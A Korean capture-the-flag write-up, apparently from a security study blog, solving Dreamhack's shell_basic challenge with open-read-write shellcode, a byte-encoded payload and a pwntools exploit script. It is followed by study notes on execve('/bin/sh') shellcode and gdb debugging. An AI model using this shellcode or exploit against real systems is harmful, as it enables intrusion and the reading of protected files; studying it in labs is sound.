문제

 

문제 파일

#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(10);
}

void banned_execve() {
  scmp_filter_ctx ctx;
  ctx = seccomp_init(SCMP_ACT_ALLOW);
  if (ctx == NULL) {
    exit(0);
  }
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);

  seccomp_load(ctx);
}

void main(int argc, char *argv[]) {
  char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);   
  void (*sc)();
  
  init();
  
  banned_execve();

  printf("shellcode: ");
  read(0, shellcode, 0x1000);

  sc = (void *)shellcode;
  sc();
}

stdin에서 shellcode를 읽고, 해당 코드를 실행한다는 것을 확인했다.

( stdin은 컴퓨터 프로그램이 외부로부터 입력을 받을 때 사용하는 기본 입력 스트림이다. 주로 키보드 입력을 통해 데이터를 받으며, 터미널이나 콘솔에서 사용자가 입력한 데이터를 프로그램으로 전달하는 역할을 수행한다.)

 

 

풀이

파일을 읽고 출력하는 orw 쉘 코드를 사용해보자.

 

다음은/home/shell_basic/flag_name_is_loooooong 파일을 읽고 출력하는 어셈블리 코드다.

section .text
global _start
_start:
push 0x0
mov rax, 0x676e6f6f6f6f6f6f
push rax
mov rax, 0x6c5f73695f656d61
push rax
mov rax, 0x6e5f67616c662f63
push rax
mov rax, 0x697361625f6c6c65
push rax
mov rax, 0x68732f656d6f682f
push rax

mov rdi, rsp ; rdi = "/home/shell_basic/flag_name_is_loooooong"
xor rsi, rsi ; rsi = NULL
xor rdx, rdx ; rdx = NULL
mov rax, 0x2 ; rax = sys_open
syscall ; open("/home/shell_basic/flag_name_is_loooooong", NULL, NULL)

mov rdi, rax ; rdi = open("/home/shell_basic/flag_name_is_loooooong", NULL, NULL)
mov rsi, rsp
sub rsi, 0x30 ; rsi = buf
mov rdx, 0x30 ; rdx = 0x30
mov rax, 0x0 ; rax = sys_read
syscall ; read(fd, buf, 0x30)

mov rdi, 0x1 ; rdi = 0x1 (stdout)
mov rax, 0x1 ; rax = sys_write
syscall ; write(1, buf, 0x30)

orw_flag.asm

참고 - https://fight-hacker.tistory.com/1

 

[시스템] orw 셸코드 (Shellcode)

open, read, write  orw 셸코드는 파일을 열고, 읽은 뒤 화면에 출력해주는 셀코드이다.   먼저 open, read, write syscall은 다음과 같다.syscallraxarg0 (rdi)arg1 (rsi)arg2 (rdx)read0x00unsigned int fdchar *bufsize_t countwrit

fight-hacker.tistory.com

 

 

 

어셈블리 코드는 CPU가 직접 실행할 수 있는 기계어로 변환되어야 하기 때문에, 서버는 위 코드를 바로 실행할 수 없다.

그래서 어셈블리 코드를 기계어로 변환하는 과정을 거쳐야 한다.

 

 

기계어 VS 바이트 코드

CPU는 기계어만을 직접 실행할 수 있다. 어셈블리어 코드는 어셈블러에 의해 기계어로 변환된 후 CPU에서 실행된다. 즉, CPU가 직접 이해하고 실행하는 코드는 기계어이다.

하지만, 많은 경우 바이트 코드라는 용어를 사용하면서 실제로는 CPU에서 직접 실행 가능한 기계어를 의미하는 경우가 있다. 예를 들어, 쉘코드에서의 바이트 코드는 일반적으로 어셈블리어를 기계어로 컴파일한 결과인 이진 데이터이며, 이는 메모리에 로드되면 CPU가 직접 실행할 수 있는 형태다.

 

 

 

nasm  어셈블러를 사용하여 orw_flag.asm 파일을 컴파일하고, ELF 형식의 목적 파일(orw_flag.o)을 생성한다.

objdump orw_flag.o 목적 파일의 내용을 디스어셈블리하여 어셈블리어 코드로 확인할 수 있다.

 

 

objcopy를 사용해서 바이너리 파일 (orw_flag.bin)을 만들고, 그 파일을 16진수로 확인한다.

 

 

위 xxd 출력 결과(16진수)에서 바이트 값들을 추출해서 다음과 같이 바이트 코드 형태의 쉘 코드를 만든다.

"\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61"
"\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67"
"\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8"
"\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48"
"\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48"
"\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf"
"\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05"

 

 

이제 바이트 코드가 준비되었으니, 해당 코드를 이용해 서버에 exploit을 시도해보자.

 

pwntools 모듈을 사용하여 서버에 데이터를 전송하는 파이썬 파일을 만든다.

from pwn import *

context.arch = "amd64"
p = remote("host3.dreamhack.games", 23515)

shellcode = b"\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05"
p.sendlineafter('shellcode: ', shellcode)
print(p.recv())

exploit.py

 

 

해당 파이썬 파일을 실행하면 서버의 flag_name_is_loooooong 파일 내용이 출력된다!

 

 

 

'시스템 해킹 > 드림핵' 카테고리의 다른 글

[드림핵] basic_exploitation_001 풀이  (0) 2024.08.27
[드림핵] basic_exploitation_000 풀이  (0) 2024.08.27

 

셸(Shell)은 운영체제에 명령을 내리기 위한 사용자 인터페이스로, 운영체제의 핵심 기능을 담당하는 커널(Kernel)과 대비된다. 셸을 획득하면 시스템을 제어할 수 있어, 해킹에서 셸 획득은 성공을 의미한다.

 

execve 셸코드는 임의의 프로그램을 실행할 수 있는 셸코드로, 이를 통해 서버의 셸을 획득할 수 있다. 보통 셸코드라고 하면 이 execve 셸코드를 가리킨다.

 

리눅스에서 기본 셸로는 sh, bash가 많이 사용되며, 사용자가 zsh, tsh 등의 다른 셸도 설치할 수 있다.

 

 

 

어셈블리 코드

execve 셸코드의 syscall은 다음과 같다. 

syscall  rax arg0 (rdi) arg1 (rsi) arg2 (rdx)
execve 0x3b const char *filename const char *const *argv const char *const *envp

 

여기서 argv는 실행파일에 넘겨줄 인자이고, envp는 환경변수다.

리눅스에서 기본 실행 프로그램들은 /bin 디렉토리에 저장되어 있으며, 여기서 실행해야 할 sh도 해당 디렉토리에 저자오디어 있다.

따라서  execve("/bin/sh", null, null) 을 실행하는 것을 목표로 쉘 코드를 작성한다.

mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp  ; rdi = "/bin/sh\x00"
xor rsi, rsi  ; rsi = NULL
xor rdx, rdx  ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall       ; execve("/bin/sh", null, null)

 

한줄씩 살펴보면

mov rax, 0x68732f6e69622f
push rax

rax 레지스터에 0x68732f6e69622f 값을 이동(저장)한다. ASCII 문자열 /bin/sh에 해당하는 값이다.

rax 레지스터에 저장된 값을 스택에 push한다. 스택에 문자열 /bin/sh이 저장된다.

 

mov rdi, rsp

rdi 레지스터에 현재 스택 포인터(rsp) 값을 저장한다. 이로써 rdi는 "/bin/sh" 문자열을 가리키게 된다.

이는 execve 시스템 호출에서 실행할 프로그램의 경로를 나타낸다.

 

xor rsi, rsi
xor rdx, rdx

xor 연산을 통해 rsirdx가 0으로 초기화되며, 0은 포인터로 사용되면 NULL을 나타낸다.

 

mov rax, 0x3b
syscall

 

rax 레지스터에 0x3b를 저장한다.이는 execve 시스템호출의 번호이다.

syscall 명령어로 rax에 저장된 시스템 호출 번호(0x3b, 즉 execve)와, 앞서 설정된 rdi(파일 경로), rsi(인자), rdx(환경 변수) 값을 사용하여 /bin/sh 셸을 실행하게 된다.

 

 

 

컴파일 및 실행

위 어셈블리 코드를 컴파일하기 위해, 스켈레톤 코드안에 쉘코드를 채운 파일을 만든다.

__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "mov rax, 0x68732f6e69622f\n"
    "push rax\n"
    "mov rdi, rsp  # rdi = '/bin/sh'\n"
    "xor rsi, rsi  # rsi = NULL\n"
    "xor rdx, rdx  # rdx = NULL\n"
    "mov rax, 0x3b # rax = sys_execve\n"
    "syscall       # execve('/bin/sh', null, null)\n"

    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c	# rax = sys_exit\n"
    "syscall        # exit(0)");

void run_sh();

int main() { run_sh(); }

 

 

위 파일을 컴파일하고 실행한다. sh가 성공적으로 실행된 것을 확인할 수 있다.

 

 

 

 

디버깅

run_sh에 브레이크 포인트를 걸고 실행한 결과다.

 

 

다음은 execve 시스템 호출(run_sh+27)에 브레이크 포인트를 걸고 실행했다.

경로, 인자, 환경변수가 설정된 것을 확인할 수 있다.

 

 

ni(next instruction)명령어를 사용해서 다음 코드인 syscall을 실행하면 sh이 실행된다.

 

 

 

참고 - 드림핵( System Hacking )

open, read, write 

 orw 셸코드는 파일을 열고, 읽은 뒤 화면에 출력해주는 셀코드이다. 

 

 

먼저 open, read, write syscall은 다음과 같다.

syscall rax arg0 (rdi) arg1 (rsi) arg2 (rdx)
read 0x00 unsigned int fd char *buf size_t count
write 0x01 unsigned int fd const char *buf size_t count
open 0x02` const char *filename int flags umode_t mode

 

 

해당 syscall을 사용하여 파일을 열고 읽고 출력하는 어셈블리 코드다.

push 0x67		
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)

mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)

mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

 

 

 

코드 분석

한줄 한줄 살펴보자.

push 0x67
mov rax, 0x616c662f706d742f
push rax

스택에는 8 바이트 단위로만 값을 push할 수 있으므로, “/tmp/flag”라는 문자열을 쪼개서 push 한다.

스택에 먼저 0x67( ASCII 코드로 'g')를 push하고, rax 레지스터에 남은 문자열을 저장한 뒤, 해당 레지스터를 스텍에 push 한다.

결과적으로 스택에 “/tmp/flag”라는 문자열이 저장된다.

 

mov rdi, rsp

rsp 레지트터는 현재 스택 포인터를 가르킨다.

현재 스택에 저장된 문자열의 주소가 rdi 레지스터에 저장된다.

 

xor rsi, rsi
xor rdx, rdx

xor 연산자는 두 오퍼랜드가 같을 때 0을 반환하므로, rsi 레지스터를 0으로 만든다.

rsi를 0으로 설정하여 O_RDONLY (파일 읽기 전용) 플래그를 설정한다.

rdx는 open syscall에서 사용되지 않으므로 0으로 설정한다.

 

mov rax, 2
syscall

rax에 2를 저장합니다. 2는 syscall 번호로, 파일을 여는 open 호출에 해당한다.

시스템호출을 실행하여 open("/tmp/flag", O_RDONLY, NULL) 호출이 실행된다.

열린 파일의 파일 디스크립터가 rax에 반환된다.

 

mov rdi, rax
mov rsi, rsp

rax에 반환된 파일 디스크립터를 rdi로 옮긴다. 이제 rdi는 read 시스템호출에서 파일 디스크립터로 사용된다.

그리고 현재 스택 포인터(rsp)를 rsi에 저장한다.

 

sub rsi, 0x30
mov rdx, 0x30

rsi를 0x30(48)만큼 감소시켜 메모리 공간을 확보한다. 이 공간을 파일 데이터를 저장할 버퍼 역할을 한다.

rdx에 0x30을 저장한다. 이는 읽어올 바이트 수를 나타낸다.

 

mov rax, 0x0
syscall

rax에 0을 저장한다. 0은 read 시스템호출에 해당한다.

시스템 호출을 실행한다.( read(fd, buf, 48)) 이 호출은 rdi의 파일 디스크립터에서 rsi가 가리키는 버퍼 48 byte를 읽는다.

 

mov rdi, 1
mov rax, 0x1
syscall

rdi에 1을 저장한다. 1은 표준 출력(stdout)을 나타내는 파일 디스크립터이다.

rax에 1을 저장한다. 1은 write 시스템호출에 해당한다.

시스템호출을 실행한다.(write(1, buf, 48)) 이 호출은 rsi가 가리키는 버퍼에 있는 48byte를 표준 출력으로 출력한다.

 

 

 

셸코드 컴파일

운영체제는 실행 가능한 파일의 형식을 규정하고 있다.(윈도우-PE, 리눅스-ELF)

ELF는 헤더와 코드 그리고 기타 데이터로 구성되어 있다.

 

위 셸코드 orw.S는 ELF 형식이 아니므로 리눅스에서 실행될 수 없다.

gcc 컴파일을 통해 위 코드를 ELF 형식으로 변형하자.

 

스켈레톤 코드(핵심 내용이 비어있는, 기본 구조만 갖춘 코드)를 C언어로 작성하고, 거기에 셸코드를 탑재하는 방법을 사용한다. 스켈레톤 코드는 다음과 같다.

// File name: sh-skeleton.c
// Compile Option: gcc -o sh-skeleton sh-skeleton.c -masm=intel

__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "Input your shellcode here.\n"
    "Each line of your shellcode should be\n"
    "seperated by '\n'\n"

    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c	# rax = sys_exit\n"
    "syscall        # exit(0)");

void run_sh();

int main() { run_sh(); }

 

위 스켈레톤 코드에 미리 작성해둔 셸코드를 채운다.

// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel

__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "push 0x67\n"
    "mov rax, 0x616c662f706d742f \n"
    "push rax\n"
    "mov rdi, rsp    # rdi = '/tmp/flag'\n"
    "xor rsi, rsi    # rsi = 0 ; RD_ONLY\n"
    "xor rdx, rdx    # rdx = 0\n"
    "mov rax, 2      # rax = 2 ; syscall_open\n"
    "syscall         # open('/tmp/flag', RD_ONLY, NULL)\n"
    "\n"
    "mov rdi, rax      # rdi = fd\n"
    "mov rsi, rsp\n"
    "sub rsi, 0x30     # rsi = rsp-0x30 ; buf\n"
    "mov rdx, 0x30     # rdx = 0x30     ; len\n"
    "mov rax, 0x0      # rax = 0        ; syscall_read\n"
    "syscall           # read(fd, buf, 0x30)\n"
    "\n"
    "mov rdi, 1        # rdi = 1 ; fd = stdout\n"
    "mov rax, 0x1      # rax = 1 ; syscall_write\n"
    "syscall           # write(fd, buf, 0x30)\n"
    "\n"
    "xor rdi, rdi      # rdi = 0\n"
    "mov rax, 0x3c	   # rax = sys_exit\n"
    "syscall		   # exit(0)");

void run_sh();

int main() { run_sh(); }

 

 

 

셸코드 실행

셸코드 실행 전에 /tmp/flag 파일을 생성한다.

 

orw.c 파일을 작성하고, 컴파일한다.

 

컴파일한 orw를 실행하면 /tmp/flag 파일의 내용이 출력된다.

 

 

 

 

 

셸코드 디버깅

디버깅을 통해 셸코드의 동작을 자세히 분석해보자.

 

gdb로 orw를 열고, run_sh()브레이크 포인트를 설정한다.

 

 

run_sh()의 시작 부분까지 코드를 실행시킨다.

 

rip 레지스터에 브레이크 포인트가 저장된 것을 확인할 수 있다.

 

 

 

첫번째 syscall이 위치한 ' run_sh+29'를 브레이크 포인트로 설정한 후에 실행한다.

 

open(“/tmp/flag”, O_RDONLY, NULL);가 실행됨을 확인할 수 있다.

 

 

ni(next instruction) 명령어로 syscall을 실행하면, open 시스템호출을 수행한 결과로 /tmp/flag의 fd(3)가 rax에 저장된다.

(fd(3)는 특정 파일이나 자원에 대한 열린 파일 디스크립터를 의미)

 

 

위 과정과 동일하게 두 번째 syscall(read)이 위치한 run_sh+55에 브레이크 포인트를 설정한다.

 

 fd(3)에서 데이터를 0x30바이트만큼 읽어서 0x7fffffffdd88에 저장하는 것을 확인할 수 있다.

 

 

ni 명령어로 syscall(read)을 실행한다.

 

파일의 내용이 0x7fffffffdd88 에 저장되었음을 알 수 있다.

 

 

마지막으로 'run_sh+71'에 브레이크 포인트를 걸어서 write 시스템호출을 살펴보자.

 

ni 명령어를 사용해서 syscall 을 실행시키면 파일 내용이 출력된다.

 

 

 

초기화되지 않은 메모리 영역 사용

/tmp/flag의 데이터 외에 알 수 없는 문자열이 출력되는 경우가 있는데, 이는 초기화되지 않은 메모리 영역 사용에 의한 것이다.

$ ./orw
flag{this_is_open_read_write_shellcode!}
&��U

 

  • 초기화되지 않은 메모리란, 메모리가 할당되었지만 그 내용이 설정되지 않은 상태를 말한다. 할당된 메모리는 이전에 사용된 값(가비지 값)을 포함할 수 있다.
  • 이러한 메모리는 프로그래머가 변수에 명시적으로 값을 할당하지 않은 경우 발생할 수 있다. 예를 들어, 자동 변수(로컬 변수)는 명시적으로 초기화되지 않으면 가비지 값을 가지게 된다.
  • 보안 문제: 공격자가 초기화되지 않은 메모리의 내용을 악용할 수 있으며, 이로 인해 정보 유출이나 프로그램 오작동을 유도할 수 있다. 쓰레기 값은 어셈블리 코드의 주소나 어떤 메모리의 주소일 수 있으며, 이런 중요한 값을 유출해 내는 작업을 메모리 릭(Memory Leak)이라고 한다.

 

 

 

 

https://fight-hacker.tistory.com/2

 

[드림핵] execve 셸코드 (Shellcode)

셸(Shell)은 운영체제에 명령을 내리기 위한 사용자 인터페이스로, 운영체제의 핵심 기능을 담당하는 커널(Kernel)과 대비됩니다. 셸을 획득하면 시스템을 제어할 수 있어, 해킹에서 셸 획득은 성공

fight-hacker.tistory.com

 

 

 

 

참고 - 드림핵( System Hacking )

+ Recent posts